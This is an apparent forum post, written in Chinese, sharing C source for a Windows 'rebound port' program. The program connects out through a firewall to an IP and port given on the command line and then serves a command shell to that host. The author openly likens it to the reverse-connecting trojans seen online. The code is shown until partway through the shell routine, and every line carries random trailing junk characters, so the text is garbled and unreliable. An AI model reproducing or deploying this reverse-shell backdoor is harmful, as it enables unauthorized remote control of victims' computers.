这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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Rebound port in Windows NT 5Er2}KZJv,
By wind,2006/7 *^:N.&]
===============================*/ \Z+z?K O
#include #3+!ee27#
#include TL}++e
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#pragma comment(lib,"wsock32.lib") TZY3tUx0|G
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void OutputShell(); dF2nEaN0%
SOCKET sClient; 4x 8)gE
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =fO5cA6Z
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void main(int argc,char **argv) <1t*I!e_
{ FW21 U<
WSADATA stWsaData; G1o3l~x
int nRet; lLF-{
SOCKADDR_IN stSaiClient,stSaiServer; (aH'h1,G
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if(argc != 3) z}MP)|aH:
{ /,g ,Ch<d
printf("Useage:\n\rRebound DestIP DestPort\n"); r(RKwr:m
return; 6I4oi@hZz
} Bi
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WSAStartup(MAKEWORD(2,2),&stWsaData); n6BQk2l
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s=0BMPDgm
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stSaiClient.sin_family = AF_INET; *q-['"f
stSaiClient.sin_port = htons(0); UOxkO
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;{KV /<3
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |bO"_U
{ f)^_|8
printf("Bind Socket Failed!\n"); 5
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return; ]zWon~
} 4X+ifZO
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stSaiServer.sin_family = AF_INET; !'cl"\h
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5'X ]k@m_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @T'i/}nl
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _s .G
{ v5QqS8u_C
printf("Connect Error!"); 2AO~HxF
return; JYW)uJ
} .K p
OutputShell(); >8qQK r\"
} @CZT
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void OutputShell() ,#L=v]
{ 6er-{.L=
char szBuff[1024]; [YUv7|\
SECURITY_ATTRIBUTES stSecurityAttributes; J
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OSVERSIONINFO stOsversionInfo; JNJ=e,O,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e-"nB]n^/
STARTUPINFO stStartupInfo; H?)w!QX
char *szShell; Na?!;1]_
PROCESS_INFORMATION stProcessInformation; RM!<8fXYD
unsigned long lBytesRead; |4uWh
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &